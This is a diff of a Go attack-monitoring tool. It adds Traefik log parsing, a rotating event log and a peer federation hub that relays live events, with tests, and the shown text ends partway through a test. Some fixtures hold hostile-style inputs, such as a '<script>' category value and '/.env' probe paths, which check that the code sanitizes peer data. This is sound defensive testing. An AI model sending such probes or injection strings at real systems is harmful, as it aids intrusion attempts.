// Origin details (Traefik only, empty on older logs): what the backend
// answered and where the time went.
OriginStatus int
OriginNS, OverheadNS int64
OriginBytes int64
Retries int
Router, Service string
Proto, Scheme, TLSVer, TLSCiph string
EntryPoint, FetchSite string
E Enrich
}
// Enrich holds what the geo and user-agent databases say about an event. It is
+24
View File
@@ -51,8 +51,23 @@ type traefikLine struct {
Referer string `json:"request_Referer"`
FetchSite string `json:"request_Sec-Fetch-Site"`
FetchDest string `json:"request_Sec-Fetch-Dest"`
SecPurpose string `json:"request_Sec-Purpose"`
Purpose string `json:"request_Purpose"`
Duration int64 `json:"Duration"`
Size int64 `json:"DownstreamContentSize"`
OriginStatus int `json:"OriginStatus"`
OriginDur int64 `json:"OriginDuration"`
Overhead int64 `json:"Overhead"`
OriginSize int64 `json:"OriginContentSize"`
Retries int `json:"RetryAttempts"`
Router string `json:"RouterName"`
Service string `json:"ServiceName"`
Proto string `json:"RequestProtocol"`
Scheme string `json:"RequestScheme"`
TLSVer string `json:"TLSVersion"`
TLSCipher string `json:"TLSCipher"`
EntryPoint string `json:"entryPointName"`
}
// ParseTraefik parses one Traefik JSON access log line.
@@ -82,6 +97,15 @@ func ParseTraefik(line []byte) (Event, error) {
DurationNS: l.Duration, Bytes: l.Size, Referer: clip(l.Referer, 300),
}
ev.Framed = Framed(l.FetchSite, l.FetchDest)
ev.OriginStatus, ev.OriginNS, ev.OverheadNS, ev.OriginBytes, ev.Retries = l.OriginStatus, l.OriginDur, l.Overhead, l.OriginSize, l.Retries
ev.Router, ev.Service = clip(l.Router, 64), clip(l.Service, 64)
ev.Proto, ev.Scheme, ev.TLSVer, ev.TLSCiph = clip(l.Proto, 12), clip(l.Scheme, 8), clip(l.TLSVer, 8), clip(l.TLSCipher, 64)
ev.EntryPoint, ev.FetchSite = clip(l.EntryPoint, 64), clip(strings.ToLower(l.FetchSite), 16)
ev.FetchDest = strings.ToLower(strings.TrimSpace(l.FetchDest))
if len(ev.FetchDest) > 20 {
ev.FetchDest = ev.FetchDest[:20]
}
ev.Prefetch = strings.Contains(strings.ToLower(l.SecPurpose+" "+l.Purpose), "prefetch")
c := Classify(l.Method, l.Path, l.Status)
ev.Cat, ev.Soft, ev.Strong, ev.Weak = c.Cat, c.Soft, c.Strong, c.Weak
return ev, nil
+20
View File
@@ -31,3 +31,23 @@ func TestTraefikSecFetchFraming(t *testing.T) {
}
}
}
func TestTraefikFetchDestAndPrefetch(t *testing.T) {
base := `{"ClientHost":"8.8.8.8","RequestHost":"a.example","RequestMethod":"GET","RequestPath":"/","DownstreamStatus":200,"StartUTC":"2026-11-14T10:00:00Z"`
for _, tc := range []struct {
extra string
dest string
prefetch bool
}{
{``, "", false},
{`,"request_Sec-Fetch-Dest":"Document"`, "document", false},
{`,"request_Sec-Fetch-Dest":"empty"`, "empty", false},
{`,"request_Sec-Purpose":"prefetch;prerender"`, "", true},
{`,"request_Purpose":"prefetch"`, "", true},
} {
ev, err := ParseTraefik([]byte(base + tc.extra + `}`))
if err != nil || ev.FetchDest != tc.dest || ev.Prefetch != tc.prefetch {
t.Errorf("%s: dest=%q prefetch=%v err=%v", tc.extra, ev.FetchDest, ev.Prefetch, err)
}
}
}
File diff suppressed because it is too large. Load diff
+236
View File
@@ -0,0 +1,236 @@
package evlog
import (
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
var base = time.Date(2026, 11, 14, 12, 0, 0, 0, time.UTC)
func line(t int64, id uint64, ip, cat string) []byte {
return []byte(fmt.Sprintf(`{"id":%d,"t":%d,"ip":"%s","cat":"%s","source":"traefik","host":"h","domain":"a.example","path":"/.env","status":404}`, id, t, ip, cat))
}
func open(t *testing.T, now *time.Time, max int64) *Log {
t.Helper()
l, err := Open(Options{Dir: filepath.Join(t.TempDir(), "events"), MaxBytes: max, Now: func() time.Time { return *now }})
if err != nil {
t.Fatal(err)
}
return l
}
func TestAppendQueryPaginationAndOrder(t *testing.T) {
now := base
l := open(t, &now, 0)
for i := 0; i < 25; i++ {
l.Append(base.Unix()-int64(i), line(base.Unix()-int64(i), uint64(i+1), "1.2.3.4", "exploit"))
}
l.Append(base.Unix(), line(base.Unix(), 100, "5.6.7.8", "scanner"))
f := Filter{From: base.Unix() - 3600, To: base.Unix() + 10}
var all []uint64
cur := ""
for page := 0; page < 10; page++ {
r, err := l.Query(Query{Filter: f, Limit: 10, Cursor: cur, Desc: true})
if err != nil {
t.Fatal(err)
}
for _, it := range r.Items {
all = append(all, it.Rec.ID)
}
if r.Next == "" {
break
}
cur = r.Next
}
if len(all) != 26 {
t.Fatalf("pagination returned %d events", len(all))
}
seen := map[uint64]bool{}
for _, id := range all {
if seen[id] {
t.Fatal("duplicate across pages")
}
seen[id] = true
}
asc, _ := l.Query(Query{Filter: f, Limit: 5})
for i := 1; i < len(asc.Items); i++ {
if asc.Items[i].Rec.T < asc.Items[i-1].Rec.T {
t.Fatal("ascending order broken")
}
}
if r, _ := l.Query(Query{Filter: Filter{From: f.From, To: f.To, IP: "5.6.7.8"}}); len(r.Items) != 1 {
t.Fatalf("ip filter: %d", len(r.Items))
}
if r, _ := l.Query(Query{Filter: Filter{From: f.From, To: f.To, Cats: map[string]bool{"scanner": true}}}); len(r.Items) != 1 {
t.Fatal("cat filter")
}
if r, _ := l.Query(Query{Filter: Filter{From: f.From, To: f.To, Q: "ENV"}, Limit: 100}); len(r.Items) != 26 || r.TotalEstimate != 26 {
t.Fatalf("q filter %d est %d", len(r.Items), r.TotalEstimate)
}
if _, err := l.Query(Query{Cursor: "!!!"}); !errors.Is(err, ErrCursor) {
t.Fatal("bad cursor must fail")
}
}
func TestRotationCompressionRangeIndexAndRetention(t *testing.T) {
now := base
l := open(t, &now, 0)
old := base.Add(-72 * time.Hour)
for h := 0; h < 24; h++ {
ts := old.Truncate(24 * time.Hour).Add(time.Duration(h) * time.Hour).Unix()
l.Append(ts, line(ts, uint64(h+1), "9.9.9.9", "exploit"))
}
l.Append(base.Unix(), line(base.Unix(), 500, "1.1.1.1", "scanner"))
l.Flush()
now = base.Add(time.Minute)
l.Close()
l.Maintain()
ents, _ := os.ReadDir(l.opt.Dir)
var names []string
for _, e := range ents {
names = append(names, e.Name())
}
joined := strings.Join(names, " ")
if !strings.Contains(joined, ".jsonl.gz") || !strings.Contains(joined, ".idx") {
t.Fatalf("old day must be compressed with an index: %v", names)
}
oldDay := old.Format("2006-01-02")
if _, err := os.Stat(filepath.Join(l.opt.Dir, oldDay+".jsonl")); err == nil {
t.Fatal("plain file of the old day must be gone")
}
day := old.Truncate(24 * time.Hour).Unix()
// whole day, then one hour only (index)
if r, _ := l.Query(Query{Filter: Filter{From: day, To: day + 86399}, Limit: 100}); len(r.Items) != 24 {
t.Fatalf("whole day %d", len(r.Items))
}
var info ScanInfo
n := 0
info = l.Scan(Filter{From: day + 5*3600, To: day + 5*3600 + 100}, 0, false, func(Rec, []byte) bool { n++; return true })
if n != 1 || info.Lines > 2 {
t.Fatalf("hour index must avoid reading the whole day: matched %d lines read %d", n, info.Lines)
}
// a late event for the compressed day is appended as a new member
late := day + 7*3600 + 5
l.Append(late, line(late, 900, "8.8.8.8", "exploit"))
l.Close()
now = base.Add(2 * time.Minute)
l.Maintain()
if r, _ := l.Query(Query{Filter: Filter{From: day, To: day + 86399}, Limit: 100}); len(r.Items) != 25 {
t.Fatalf("late event lost: %d", len(r.Items))
}
if r, _ := l.Query(Query{Filter: Filter{From: day + 7*3600, To: day + 7*3600 + 60}, Limit: 100}); len(r.Items) != 2 {
t.Fatalf("index after append: %d", len(r.Items))
}
// retention
now = base.Add(31 * 24 * time.Hour)
l.Maintain()
if r, _ := l.Query(Query{Filter: Filter{From: day, To: day + 86399}}); len(r.Items) != 0 {
t.Fatal("expired day must be deleted")
}
}
func TestSizeCapDeletesOldestDays(t *testing.T) {
now := base
l := open(t, &now, 700)
for d := 6; d >= 1; d-- {
ts := base.Add(-time.Duration(d) * 24 * time.Hour).Unix()
for i := 0; i < 8; i++ {
l.Append(ts+int64(i), line(ts+int64(i), uint64(d*100+i), "1.1.1.1", "exploit"))
}
l.Close()
l.Maintain()
}
if sz := l.dirSize(); sz > 700 {
t.Fatalf("size %d over the cap", sz)
}
fs := l.list()
if len(fs) == 0 || len(fs) == 6 {
t.Fatalf("expected some, not all, days to remain: %d", len(fs))
}
if fs[len(fs)-1].day != (base.Unix()-86400)/86400 {
t.Fatal("the newest days must survive")
}
}
func TestCorruptedLinesAreIgnored(t *testing.T) {
now := base
l := open(t, &now, 0)
l.Append(base.Unix(), line(base.Unix(), 1, "1.1.1.1", "exploit"))
l.Close()
p := l.path(base.Unix() / 86400)
f, _ := os.OpenFile(p, os.O_APPEND|os.O_WRONLY, 0o600)
f.WriteString("{not json\n\x00\x01garbage\n" + strings.Repeat("x", 300<<10) + "\n")
f.Close()
l2, _ := Open(Options{Dir: l.opt.Dir, Now: func() time.Time { return now }})
l2.Append(base.Unix()+1, line(base.Unix()+1, 2, "1.1.1.1", "exploit"))
if r, err := l2.Query(Query{Filter: Filter{From: base.Unix() - 10, To: base.Unix() + 10}}); err != nil || len(r.Items) != 2 {
t.Fatalf("corruption must be skipped: %v %d", err, len(r.Items))
}
if l2.LastID() != 1 {
t.Fatalf("last id %d", l2.LastID())
}
// a truncated gzip tail is tolerated too
now = base.Add(48 * time.Hour)
l2.Close()
l2.Maintain()
gz := filepath.Join(l.opt.Dir, base.Format("2006-01-02")+".jsonl.gz")
b, _ := os.ReadFile(gz)
os.WriteFile(gz, b[:len(b)-6], 0o600)
l2.Query(Query{Filter: Filter{From: base.Unix() - 10, To: base.Unix() + 10}})
}
type failFile struct{}
func (failFile) Write([]byte) (int, error) { return 0, errors.New("no space left on device") }
func (failFile) Sync() error { return errors.New("no space") }
func (failFile) Close() error { return nil }
func TestDiskFullDoesNotStopTheService(t *testing.T) {
now := base
l := open(t, &now, 0)
l.create = func(string) (file, error) { return failFile{}, nil }
for i := 0; i < 5000; i++ { // more than the bufio buffer: the write error surfaces
l.Append(base.Unix(), line(base.Unix(), uint64(i+1), "1.1.1.1", "exploit"))
}
if l.Dropped() == 0 {
t.Fatal("events must be counted as dropped")
}
l.create = func(string) (file, error) { return nil, errors.New("disk full") }
l.Append(base.Unix(), line(base.Unix(), 1, "1.1.1.1", "exploit"))
l.Flush()
l.Close()
// recovery: the disk works again
l.create = func(p string) (file, error) { return os.OpenFile(p, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) }
l.Append(base.Unix(), line(base.Unix(), 7777, "2.2.2.2", "exploit"))
if r, _ := l.Query(Query{Filter: Filter{From: base.Unix() - 5, To: base.Unix() + 5, IP: "2.2.2.2"}}); len(r.Items) != 1 {
t.Fatalf("log must recover: %d", len(r.Items))
}
}
func TestDayCapOnlyCounts(t *testing.T) {
now := base
l, _ := Open(Options{Dir: filepath.Join(t.TempDir(), "e"), DayCap: 10, Now: func() time.Time { return now }})
for i := 0; i < 30; i++ {
l.Append(base.Unix(), line(base.Unix(), uint64(i+1), "1.1.1.1", "exploit"))
}
if r, _ := l.Query(Query{Filter: Filter{From: base.Unix() - 5, To: base.Unix() + 5}, Limit: 100}); len(r.Items) != 10 || l.Dropped() != 20 {
t.Fatalf("stored %d dropped %d", len(r.Items), l.Dropped())
}
}
func TestIDsSurviveRestart(t *testing.T) {
now := base
l := open(t, &now, 0)
l.Append(base.Unix(), line(base.Unix(), 41, "1.1.1.1", "exploit"))
l.Close()
l2, _ := Open(Options{Dir: l.opt.Dir})
if l2.NextID() != 42 {
t.Fatal("ids must continue after a restart")
}
}
+64
View File
@@ -0,0 +1,64 @@
package evlog
import (
"bytes"
"strings"
"testing"
"time"
)
func TestQueryBudgetDeadlineAndSemaphore(t *testing.T) {
now := base
l := open(t, &now, 0)
for i := 0; i < 400; i++ {
l.Append(base.Unix()-int64(i), line(base.Unix()-int64(i), uint64(i+1), "1.2.3.4", "exploit"))
}
f := Filter{From: base.Unix() - 3600, To: base.Unix() + 10}
defer func(b int64, d time.Duration) { queryBudget, queryDeadline = b, d }(queryBudget, queryDeadline)
queryBudget = 2000 // a few lines: the budget is checked per line
r, err := l.Query(Query{Filter: f, Limit: 1000})
if err != nil || !r.Truncated || len(r.Items) >= 400 || len(r.Items) == 0 {
t.Fatalf("budget: %v truncated %v items %d", err, r.Truncated, len(r.Items))
}
queryBudget = 256 << 20
queryDeadline = time.Nanosecond
if r, _ = l.Query(Query{Filter: f, Limit: 1000}); !r.Truncated {
t.Fatal("a query past its deadline must come back truncated")
}
queryDeadline = 10 * time.Second
for i := 0; i < cap(querySem); i++ {
querySem <- struct{}{}
}
if _, err = l.Query(Query{Filter: f}); err != ErrBusy {
t.Fatalf("busy: %v", err)
}
for i := 0; i < cap(querySem); i++ {
<-querySem
}
if r, err = l.Query(Query{Filter: f, Limit: 1000}); err != nil || len(r.Items) != 400 || r.Truncated {
t.Fatalf("normal: %v %d", err, len(r.Items))
}
}
func TestOversizedLinesCountAgainstTheBudget(t *testing.T) {
big := strings.Repeat("x", 3*maxLine)
var in bytes.Buffer
for i := 0; i < 10; i++ {
in.WriteString(big + "\n")
}
in.WriteString(`{"t":1,"ip":"1.1.1.1"}` + "\n")
var nb int64
lines := 0
eachLine(&in, func([]byte) bool { lines++; return true }, &nb)
if lines != 1 || nb < 10*3*maxLine {
t.Fatalf("discarded lines must be counted: lines %d bytes %d", lines, nb)
}
// a stream of oversized lines is cut at the hard stop, not read forever
var nb2 int64 = hardStop - 10
var in2 bytes.Buffer
in2.WriteString(big + "\n")
if eachLine(&in2, func([]byte) bool { return true }, &nb2) {
t.Fatal("must stop past the hard limit")
}
}
+13
View File
@@ -0,0 +1,13 @@
package fed
import "time"
// SetLiveLimits shrinks the flood window, the byte ceiling and the first backoff; it returns the restore func.
func SetLiveLimits(window time.Duration, bytesPerSec int, backoff time.Duration) func() {
w, b, k := liveByteWindow, maxLiveBytes, liveBackoff0
liveByteWindow, maxLiveBytes, liveBackoff0 = window, bytesPerSec, backoff
return func() { liveByteWindow, maxLiveBytes, liveBackoff0 = w, b, k }
}
// WaitStream blocks until the live stream goroutines have returned (after ctx is cancelled).
func (h *Hub) WaitStream() { h.swg.Wait() }
+147 -5
View File
@@ -61,25 +61,51 @@ type peerState struct {
latency int64
version string
exports map[string]store.PeerExport
extra map[string]*extraExport // on-demand windows
studies map[string]*studyCached
live bool
}
// extraExport is an export of a window outside the background set.
type extraExport struct {
at time.Time
e store.PeerExport
}
const (
extraTTL = 15 * time.Second
extraMax = 12 // cached on-demand exports per peer
)
// Hub polls peers and serves their latest summaries.
type Hub struct {
Peers []Peer
Token string
Interval time.Duration
client *http.Client
stream *http.Client // long-lived SSE: no overall timeout, no redirects
swg sync.WaitGroup // live stream goroutines
lmu sync.Mutex
live liveState
mu sync.RWMutex
state map[string]*peerState
// OnLive, when set, sees every sanitized peer event before it is published
// (it assigns the local id and registers it in the event log).
OnLive func(*store.LiveEvent)
}
// NewHub creates a hub; Interval defaults to 15 seconds.
func NewHub(peers []Peer, token string) *Hub {
h := &Hub{Peers: peers, Token: token, Interval: 15 * time.Second,
client: &http.Client{Timeout: 4 * time.Second, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}, state: map[string]*peerState{}}
tr := http.DefaultTransport.(*http.Transport).Clone()
tr.ResponseHeaderTimeout = 10 * time.Second
h.stream = &http.Client{Transport: tr, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
for _, p := range peers {
h.state[p.Name] = &peerState{exports: map[string]store.PeerExport{}}
h.state[p.Name] = &peerState{exports: map[string]store.PeerExport{}, extra: map[string]*extraExport{}}
}
return h
}
@@ -130,7 +156,7 @@ func (h *Hub) Refresh(ctx context.Context) {
exports := map[string]store.PeerExport{}
var lat time.Duration
var ferr error
for name := range store.Ranges {
for _, name := range store.BackgroundRanges {
var e store.PeerExport
d, err := h.get(ctx, p, "/api/v1/peer/export?range="+name, &e)
if err == nil {
@@ -163,6 +189,106 @@ func (h *Hub) Refresh(ctx context.Context) {
wg.Wait()
}
// fetchRange asks a peer for the export of a window and sanitizes it.
func (h *Hub) fetchRange(ctx context.Context, p Peer, rg store.Range) (store.PeerExport, error) {
var e store.PeerExport
path := "/api/v1/peer/export?range=" + url.QueryEscape(rg.Name)
if rg.Custom() {
path = fmt.Sprintf("/api/v1/peer/export?from=%d&to=%d", rg.From, rg.To)
}
if _, err := h.get(ctx, p, path, &e); err != nil {
return e, err
}
if err := e.SanitizeRange(rg); err != nil {
return e, err
}
e.Summary = rename(e.Summary, p.Name)
return e, nil
}
// exportsFor returns the exports of the online peers (or one) for a window:
// the cached background ones, or an on-demand fetch cached for 15 s.
func (h *Hub) exportsFor(ctx context.Context, rg store.Range, only string) map[string]store.PeerExport {
out := map[string]store.PeerExport{}
var mu sync.Mutex
var wg sync.WaitGroup
for _, p := range h.Peers {
if only != "" && only != p.Name {
continue
}
h.mu.RLock()
st := h.state[p.Name]
online := st.online
var cached *store.PeerExport
if !rg.Custom() {
if e, ok := st.exports[rg.Name]; ok {
cached = &e
}
}
if cached == nil {
if x := st.extra[rg.Key()]; x != nil && time.Since(x.at) < extraTTL {
e := x.e
cached = &e
}
}
h.mu.RUnlock()
if !online {
continue
}
if cached != nil {
out[p.Name] = *cached
continue
}
wg.Add(1)
go func(p Peer) {
defer wg.Done()
e, err := h.fetchRange(ctx, p, rg)
if err != nil {
return
}
h.mu.Lock()
st := h.state[p.Name]
if len(st.extra) >= extraMax {
st.extra = map[string]*extraExport{}
}
st.extra[rg.Key()] = &extraExport{at: time.Now(), e: e}
h.mu.Unlock()
mu.Lock()
out[p.Name] = e
mu.Unlock()
}(p)
}
wg.Wait()
return out
}
// SummariesFor returns the summaries of online peers for any window.
func (h *Hub) SummariesFor(ctx context.Context, rg store.Range, only string) []store.Summary {
m := h.exportsFor(ctx, rg, only)
var out []store.Summary
for _, p := range h.Peers {
if e, ok := m[p.Name]; ok {
out = append(out, e.Summary)
}
}
return out
}
// TrafficFor returns the analytics of online peers for any window and domain.
func (h *Hub) TrafficFor(ctx context.Context, rg store.Range, domain, only string) []store.TrafficData {
m := h.exportsFor(ctx, rg, only)
var out []store.TrafficData
for _, p := range h.Peers {
if e, ok := m[p.Name]; ok {
if t, ok := e.Traffic[domain]; ok {
t.Host = p.Name
out = append(out, t)
}
}
}
return out
}
// rename forces the configured peer name on every row of a remote summary.
func rename(s store.Summary, name string) store.Summary {
s.Host = name
@@ -186,6 +312,7 @@ func (h *Hub) Run(ctx context.Context) {
if len(h.Peers) == 0 {
return
}
h.Stream(ctx)
h.Refresh(ctx)
t := time.NewTicker(h.Interval)
defer t.Stop()
@@ -206,11 +333,14 @@ func (h *Hub) Hosts() []store.HostInfo {
out := make([]store.HostInfo, 0, len(h.Peers))
for _, p := range h.Peers {
st := h.state[p.Name]
hi := store.HostInfo{Name: p.Name, Online: st.online, Error: st.err, LastSeen: st.lastOK, LatencyMS: st.latency, Version: st.version}
hi := store.HostInfo{Name: p.Name, Online: st.online, Error: st.err, LastSeen: st.lastOK, LatencyMS: st.latency, Version: st.version, Live: st.live && st.online}
if e, ok := st.exports["24h"]; ok && st.online {
s := e.Summary
hi.Requests, hi.Malicious = s.Totals.Requests, s.Totals.Malicious
hi.HostileIPs, hi.ActiveBans = s.Totals.HostileIPs, s.Totals.ActiveBans
if len(s.Hosts) > 0 {
hi.Location = s.Hosts[0].Location
}
}
out = append(out, hi)
}
@@ -235,6 +365,18 @@ func (h *Hub) Summaries(rangeName, only string) []store.Summary {
return out
}
// Peers lists the configured peer names (nil-safe).
func (h *Hub) PeerNames() []string {
if h == nil {
return nil
}
out := make([]string, 0, len(h.Peers))
for _, p := range h.Peers {
out = append(out, p.Name)
}
return out
}
// Has reports whether name is a configured peer.
func (h *Hub) Has(name string) bool {
for _, p := range h.Peers {
@@ -246,14 +388,14 @@ func (h *Hub) Has(name string) bool {
}
// IPDetail looks an address up in the cached exports of the online peers (the
// 7-day summary, which carries the full row). No request is made to the peer.
// 30-day summary, which carries the full row). No request is made to the peer.
func (h *Hub) IPDetail(ip string) []store.IPSummary {
h.mu.RLock()
defer h.mu.RUnlock()
var out []store.IPSummary
for _, p := range h.Peers {
st := h.state[p.Name]
e, ok := st.exports["7d"]
e, ok := st.exports["30d"]
if !ok || !st.online {
continue
}
+250
View File
@@ -0,0 +1,250 @@
package fed
import (
"bufio"
"bytes"
"context"
"encoding/json"
"errors"
"net/http"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const (
maxLiveLine = 16 << 10 // longest SSE line accepted from a peer
maxLiveRate = 50 // events per second accepted from one peer
liveBuffer = 500 // events kept for /api/v1/live/recent
liveIdle = 70 * time.Second
liveBackoffTo = 60 * time.Second
)
// Variables so tests can shrink them.
var (
maxLiveBytes = 1 << 20 // sustained bytes per second accepted from one peer
liveByteWindow = 10 * time.Second
liveBackoff0 = time.Second
)
type liveState struct {
recent []store.LiveEvent // ring of the newest peer events
head int
subs map[chan store.LiveEvent]struct{}
vsubs map[chan store.VisitMsg]struct{} // legitimate visits: relayed, never kept
}
// SubscribeVisits returns the legitimate visits relayed from peers.
func (h *Hub) SubscribeVisits() (<-chan store.VisitMsg, func()) {
ch := make(chan store.VisitMsg, 64)
h.lmu.Lock()
if h.live.vsubs == nil {
h.live.vsubs = map[chan store.VisitMsg]struct{}{}
}
h.live.vsubs[ch] = struct{}{}
h.lmu.Unlock()
return ch, func() {
h.lmu.Lock()
delete(h.live.vsubs, ch)
h.lmu.Unlock()
}
}
func (h *Hub) publishVisit(m store.VisitMsg) {
h.lmu.Lock()
defer h.lmu.Unlock()
for ch := range h.live.vsubs {
select {
case ch <- m:
default:
}
}
}
// Subscribe returns the live events relayed from peers; call stop when done.
func (h *Hub) Subscribe() (<-chan store.LiveEvent, func()) {
ch := make(chan store.LiveEvent, 64)
h.lmu.Lock()
if h.live.subs == nil {
h.live.subs = map[chan store.LiveEvent]struct{}{}
}
h.live.subs[ch] = struct{}{}
h.lmu.Unlock()
return ch, func() {
h.lmu.Lock()
delete(h.live.subs, ch)
h.lmu.Unlock()
}
}
// Recent returns the newest relayed peer events, newest first.
func (h *Hub) Recent(n int) []store.LiveEvent {
h.lmu.Lock()
defer h.lmu.Unlock()
total := len(h.live.recent)
out := make([]store.LiveEvent, 0, min(n, total))
for i := 0; i < total && len(out) < n; i++ {
idx := ((h.live.head-1-i)%total + total) % total
out = append(out, h.live.recent[idx])
}
return out
}
func (h *Hub) publish(e store.LiveEvent) {
h.lmu.Lock()
defer h.lmu.Unlock()
if len(h.live.recent) < liveBuffer {
h.live.recent = append(h.live.recent, e)
} else {
h.live.recent[h.live.head] = e
h.live.head = (h.live.head + 1) % liveBuffer
}
for ch := range h.live.subs {
select {
case ch <- e:
default: // slow client: drop
}
}
}
func (h *Hub) setLive(name string, v bool) {
h.mu.Lock()
h.state[name].live = v
h.mu.Unlock()
}
// peerLocation is the location the peer reported in its last export.
func (h *Hub) peerLocation(name string) *store.Location {
h.mu.RLock()
defer h.mu.RUnlock()
for _, e := range h.state[name].exports {
if len(e.Summary.Hosts) > 0 && e.Summary.Hosts[0].Location != nil {
l := *e.Summary.Hosts[0].Location
return &l
}
}
return nil
}
// Stream keeps one live subscription per peer until ctx is done, reconnecting
// with an exponential backoff (1 s up to 60 s).
func (h *Hub) Stream(ctx context.Context) {
for _, p := range h.Peers {
h.swg.Add(1)
go func() { defer h.swg.Done(); h.streamPeer(ctx, p) }()
}
}
func (h *Hub) streamPeer(ctx context.Context, p Peer) {
back := liveBackoff0
for ctx.Err() == nil {
start := time.Now()
h.consume(ctx, p)
h.setLive(p.Name, false)
if time.Since(start) > 2*liveBackoffTo {
back = liveBackoff0 // it had been healthy for a while
}
select {
case <-ctx.Done():
return
case <-time.After(back):
}
if back *= 2; back > liveBackoffTo {
back = liveBackoffTo
}
}
}
var errLive = errors.New("live stream refused")
func (h *Hub) consume(ctx context.Context, p Peer) error {
rctx, cancel := context.WithCancel(ctx)
defer cancel()
req, err := http.NewRequestWithContext(rctx, http.MethodGet, p.URL+"/api/v1/peer/stream?visits=1", nil)
if err != nil {
return err
}
tok := h.Token
if p.Token != "" {
tok = p.Token
}
if tok != "" {
req.Header.Set("Authorization", "Bearer "+tok)
}
req.Header.Set("Accept", "text/event-stream")
resp, err := h.stream.Do(req) // no redirects; https is enforced by ParsePeer
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != 200 || !strings.HasPrefix(resp.Header.Get("Content-Type"), "text/event-stream") {
return errLive
}
idle := time.AfterFunc(liveIdle, cancel) // the peer pings every 20 s
defer idle.Stop()
h.setLive(p.Name, true)
rd := bufio.NewReaderSize(resp.Body, maxLiveLine)
var evName string
var tokens = float64(maxLiveRate)
winStart, winBytes := time.Now(), 0
last := time.Now()
for {
line, err := rd.ReadSlice('\n') // ErrBufferFull: a line over 16 KB ends the stream
if err != nil {
return err
}
idle.Reset(liveIdle)
winBytes += len(line)
if float64(winBytes) > float64(maxLiveBytes)*liveByteWindow.Seconds() {
return errLive // a window's worth of budget burned already: flooding
}
if el := time.Since(winStart); el >= liveByteWindow {
if float64(winBytes)/el.Seconds() > float64(maxLiveBytes) {
return errLive // flooding: drop the connection, the backoff applies
}
winStart, winBytes = time.Now(), 0
}
line = bytes.TrimRight(line, "\r\n")
switch {
case bytes.HasPrefix(line, []byte("event:")):
evName = strings.TrimSpace(string(line[6:]))
case bytes.HasPrefix(line, []byte("data:")) && (evName == "ev" || evName == "visit"):
now := time.Now()
tokens += now.Sub(last).Seconds() * maxLiveRate
if tokens > maxLiveRate {
tokens = maxLiveRate
}
last = now
if tokens < 1 {
continue // over the budget: discard
}
tokens--
if evName == "visit" {
var v store.VisitMsg
if json.Unmarshal(bytes.TrimSpace(line[5:]), &v) == nil && v.Sanitize(now.Unix()) {
v.Host = p.Name
if v.Kind == "visit" && v.Dst == nil {
v.Dst = h.peerLocation(p.Name)
}
h.publishVisit(v)
}
continue
}
var e store.LiveEvent
if json.Unmarshal(bytes.TrimSpace(line[5:]), &e) != nil || !e.Sanitize(now.Unix()) {
continue
}
e.Host = p.Name
if e.Dst == nil {
e.Dst = h.peerLocation(p.Name)
}
if h.OnLive != nil {
h.OnLive(&e)
}
h.publish(e)
case len(line) == 0:
evName = ""
}
}
}
+216
View File
@@ -0,0 +1,216 @@
package fed_test
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func fakeStream(t *testing.T, conns *atomic.Int32, body func(w http.ResponseWriter)) *httptest.Server {
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/peer/stream" {
http.NotFound(w, r)
return
}
if r.Header.Get("Authorization") != "Bearer tok" {
http.Error(w, "no", 401)
return
}
conns.Add(1)
w.Header().Set("Content-Type", "text/event-stream")
w.WriteHeader(200)
body(w)
w.(http.Flusher).Flush()
<-r.Context().Done()
}))
}
func ev(data string) string { return "event: ev\ndata: " + data + "\n\n" }
func TestLiveRelaySanitizesAndDrops(t *testing.T) {
var conns atomic.Int32
big := ev(`{"ip":"1.2.3.4","cat":"scanner","path":"` + strings.Repeat("a", 20000) + `"}`)
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
fmt.Fprint(w, ": connected\n\n")
fmt.Fprint(w, ev(`{"ip":"not-an-ip","cat":"scanner"}`))
fmt.Fprint(w, ev(`{"ip":"5.5.5.5","cat":"ok"}`)) // not malicious
fmt.Fprint(w, ev(`{"ip":"5.5.5.5","cat":"<script>"}`)) // unknown category
fmt.Fprint(w, ev(`{"ip":"6.6.6.6","cat":"exploit","host":"evil","path":"/a\u0001b`+strings.Repeat("x", 500)+`","cc":"brasil","status":99999,"src":{"lat":500,"lon":1},"dst":{"lat":10,"lon":20,"label":"`+strings.Repeat("L", 200)+`"},"extra":"x"}`))
fmt.Fprint(w, "event: other\ndata: {\"ip\":\"7.7.7.7\",\"cat\":\"exploit\"}\n\n")
fmt.Fprint(w, ev(`{"ip":"8.8.8.8","cat":"scanner","src":{"lat":-8,"lon":-34,"cc":"BR","city":"Recife"}}`))
fmt.Fprint(w, big) // over 16 KB: the stream is cut
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ch, stop := h.Subscribe()
defer stop()
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
var got []store.LiveEvent
for len(got) < 2 {
select {
case e := <-ch:
got = append(got, e)
case <-time.After(5 * time.Second):
t.Fatalf("only %d events: %+v", len(got), got)
}
}
a, b := got[0], got[1]
if a.IP != "6.6.6.6" || a.Host != "edge" || a.Cat != "exploit" || a.CC != "" || a.Status != 0 || a.Src != nil {
t.Fatalf("sanitized event %+v", a)
}
if strings.ContainsRune(a.Path, 1) || len(a.Path) > 240 || a.Dst == nil || len(a.Dst.Label) != 64 {
t.Fatalf("strings %q dst %+v", a.Path, a.Dst)
}
if b.IP != "8.8.8.8" || b.Src == nil || b.Src.City != "Recife" || b.Host != "edge" {
t.Fatalf("second %+v", b)
}
if r := h.Recent(10); len(r) != 2 || r[0].IP != "8.8.8.8" {
t.Fatalf("recent %+v", r)
}
// the oversize line ended the stream: no event from it, and the hub reconnects
deadline := time.After(5 * time.Second)
for conns.Load() < 2 {
select {
